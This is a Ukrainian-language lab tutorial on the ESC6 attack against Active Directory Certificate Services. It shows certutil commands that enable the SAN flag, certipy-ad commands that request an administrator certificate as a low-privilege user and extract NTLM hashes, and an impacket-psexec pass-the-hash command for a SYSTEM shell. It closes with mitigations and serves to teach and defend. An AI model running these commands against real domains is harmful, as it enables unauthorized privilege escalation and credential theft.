ESC6 — це витончений метод підвищення привілеїв, спрямований на Active Directory Certificate Services (ADCS). Використовуючи некоректно налаштовані шаблони сертифікатів та надмірно лояльні параметри ЦС (CA), зловмисники можуть приховано отримувати легітимні сертифікати. Це дозволяє їм видавати себе за високопривілейовані облікові записи, як-от адміністратори домену, без використання експлойтів чи підбору паролів.
Ця атака базується на експлуатації довіреної інфраструктури, що часто дозволяє їй уникати виявлення засобами захисту. Крім того, її реалізація стає можливою через небезпечні налаштування за замовчуванням, застарілі конфігурації та недостатній нагляд за PKI.
Зміст
- Огляд атаки ESC6
- Прапор EDITF_ATTRIBUTESUBJECTALTNAME2
- Передумови
- Налаштування лабораторії
- Перерахування та експлуатація
- Постексплуатація
- Горизонтальне переміщення та підвищення привілеїв за допомогою impacket-psexec
- Заходи протидії
Огляд атаки ESC6
ESC6 — це атака з метою підвищення привілеїв, яка експлуатує некоректні налаштування шаблонів сертифікатів та параметрів ЦС. Це дозволяє зловмисникам видавати себе за привілейованих користувачів, використовуючи легітимні сертифікати та оминаючи методи перебору паролів або вразливості нульового дня.
Для розуміння атаки ESC6 важливо розглянути ключові компоненти, що роблять її можливою:
- SAN-ін’єкція: ESC6 експлуатує атрибут запиту SAN (прапор +EDITF_ATTRIBUTESUBJECTALTNAME2) для додавання додаткових імен хостів, що зазвичай використовується для сертифікатів вебсерверів.
- Глобальна вразливість ЦС: Цей прапор діє на рівні всього Центру сертифікації, що робить будь-який шаблон, доступний для реєстрації користувачів, вразливим до експлуатації.
- Імітація привілейованих користувачів: Зловмисники можуть видавати сертифікати, додаючи UPN адміністратора домену або підприємства, і таким чином діяти від імені високопривілейованих осіб.
- Реєстрація непривілейованих користувачів: Атакувальники можуть використовувати загальнодоступні шаблони (наприклад, стандартний шаблон «User»), щоб зрештою пройти автентифікацію як адміністратори домену або інші привілейовані суб’єкти.
EDITF_ATTRIBUTESUBJECTALTNAME2 flag
Реєстровий прапор EDITF_ATTRIBUTESUBJECTALTNAME2 змінює логіку роботи Центру сертифікації (ЦС), дозволяючи заявникам вручну вказувати поле альтернативного імені суб’єкта (SAN) під час реєстрації. Це поле може містити такі ідентифікатори, як UPN (наприклад, administrator@ignite.local), DNS-імена, IP-адреси та електронну пошту. Коли цей параметр увімкнено, користувачі можуть ін’єктувати довільні SAN, зокрема UPN привілейованих акаунтів, що є ключовим фактором в атаках типу ESC6.
У контексті ESC6 цей прапор відіграє критичну роль. Його активація дає змогу зловмисникам запитувати сертифікати з UPN привілейованого користувача. У поєднанні з вразливим шаблоном це змушує ЦС видати дійсний сертифікат, що дозволяє атакуючому пройти автентифікацію від імені обраної жертви.
За замовчуванням Active Directory автоматично заповнює поля SAN на основі ідентичності самого заявника. Проте увімкнення цього прапора передає контроль над SAN у руки користувача, створюючи шлях для зловживань.
Примітка: Основна ідея експлуатації ESC6 полягає в тому, що якщо будь-який користувач домену може підставити власний UPN у запит через вразливий шаблон, він отримує можливість видати себе за будь-який інший обліковий запис.
Передумови
- Windows Server 2019 як Active Directory з підтримкою PKINIT
- У домені мають бути налаштовані служби сертифікації Active Directory (AD CS) та Центр сертифікації (CA)
- Kali Linux із попередньо встановленим інструментарієм
- Інструменти: Impacket-psexec, certipy-ad
Налаштування лабораторії
У цьому посібнику ми не зупиняємося на базовому розгортанні AD CS, а одразу переходимо до практичної реалізації атаки ESC6. Ми продемонструємо, як комбінація вразливих шаблонів та небезпечних налаштувань ЦС — зокрема реєстрового прапора EDITF_ATTRIBUTESUBJECTALTNAME2 — дозволяє низькопривілейованому користувачу ін’єктувати UPN адміністратора у запит на сертифікат.
Цей покроковий сценарій покаже, як подібні недоліки конфігурації призводять до повної компрометації домену за допомогою цілком легітимних сертифікатів.
Ми розглянемо практичний кейс, де зловмисник, маючи доступ до звичайного облікового запису (raj@ignite.local), виявляє вразливий шаблон сертифіката (User). У результаті він підвищує свої привілеї до рівня адміністратора домену, навіть не знаючи його пароля.
Ми детально розберемо кожен етап за допомогою інструментів Certipy та Impacket-psexec: від активації прапора SAN-ін’єкції та створення шкідливого запиту до фінальної автентифікації під виглядом Domain Admin. Ви побачите, як ця атака непомітно розгортається всередині довіреної інфраструктури.
Ідентифікація вразливих шаблонів сертифікатів
Наша атака починається з Центру сертифікації (CA). Перевіривши опубліковані шаблони, ми виявили, що шаблон «User» доступний для видачі:

Примітка: Шаблон User призначений для автентифікації клієнтів і зазвичай використовується для таких функцій, як S/MIME або EFS. Проте у разі некоректного налаштування він стає ідеальною ціллю для експлуатації ESC6.
Некоректне налаштування ЦС – Увімкнення ін’єкції альтернативного імені суб’єкта (SAN)
Щоб зробити шаблон «User» вразливим до ESC6, змініть реєстр ЦС, дозволивши заявникам самостійно вказувати SAN. Як наслідок, це відкриває можливість для імітації користувачів через спеціально сформовані запити на сертифікати.
Виконайте наступні команди на сервері ЦС:
net stop certsvc

Це зупиняє службу сертифікації (certsvc) для безпечної модифікації налаштувань реєстру.
certutil -setreg policyEditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

Нарешті, це вмикає прапор, що дозволяє кастомні SAN-ін’єкції та робить ЦС вразливим до атаки ESC6.
Примітка: Атаки ESC6 базуються на помилках конфігурації. Вимкніть прапор EDITF_ATTRIBUTESUBJECTALTNAME2 за допомогою команди certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2, щоб заблокувати можливість ін’єкції SAN і мінімізувати ризики.
net start certsvc
Це перезапускає службу сертифікації для застосування змін.

Коротко кажучи, процес зупиняє службу, змінює реєстр для активації вразливості, а потім знову запускає службу для впровадження змін.
Результат: Тепер користувачі можуть видавати себе за будь-який обліковий запис, вказавши довільний UPN (наприклад, administrator@ignite.local) у своєму запиті на сертифікат.
Перерахування та експлуатація
Використання Certipy-ad
Certipy-AD — це інструмент, який використовується для перерахування та експлуатації помилок конфігурації в ADCS. Він особливо ефективний для автоматизації атак ESC6, що включають підробку сертифікатів та підвищення привілеїв.
Запит шкідливого сертифіката від імені низькопривілейованого користувача
Оскільки шаблон є вразливим, атакуючий (користувач raj) запитує сертифікат, видаючи себе за адміністратора домену (Domain Admin):
certipy-ad req -u raj@ignite.local -p Password@1 -target 192.168.1.48 -ca ignite-DC-CA- -template User -upn administrator@ignite.local -dc-ip 192.168.1.48

Нарешті, це створює файл сертифіката у форматі .pfx, який дозволяє проходити автентифікацію від імені адміністратора.
Автентифікація під виглядом адміністратора домену за допомогою сертифіката
Тепер, коли ми маємо дійсний сертифікат для адміністратора, ми можемо скористатися Certipy для проходження автентифікації та отримання доступу з правами адміністратора домену:
Certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.48

Зрештою, це виводить NTLM-хеші поточної сесії, що дає нам можливість пройти автентифікацію від імені цільового користувача.
Постексплуатація
Горизонтальне переміщення та підвищення привілеїв за допомогою impacket-psexec
Використовуйте інструмент psexec із пакета Impacket, щоб отримати оболонку (shell) з правами SYSTEM на віддалених машинах через протокол SMB.
Виконайте команду:
impacket-psexec ignite.local/administrator@ignite.local -hashes :32196b56ffe6f45e294117b91a83bf38

Заходи протидії (Mitigation)
- Деактивація небезпечних прапорів → Вимкніть параметр EDITF_ATTRIBUTESUBJECTALTNAME2 на рівні всього Центру сертифікації, якщо він не є критично необхідним для специфічних бізнес-процесів. Це заблокує можливість довільної підміни імен у запитах.
- Обмеження прав на реєстрацію (Enrollment) → Проведіть ревізію дозволів у шаблонах сертифікатів. Права на запит сертифікатів повинні мати лише ті групи користувачів, яким це дійсно потрібно для роботи.
- Активний моніторинг запитів → Налаштуйте сповіщення на запити сертифікатів, що містять нетипові або підозрілі значення в полях SAN (Subject Alternative Name) чи UPN (User Principal Name), особливо якщо вони належать адміністративним обліковим записам.
- Регулярний аудит інфраструктури → Використовуйте спеціалізовані інструменти, такі як Certipy або ADCSPwn, для періодичного сканування середовища AD CS на предмет нових вразливостей та помилок конфігурації.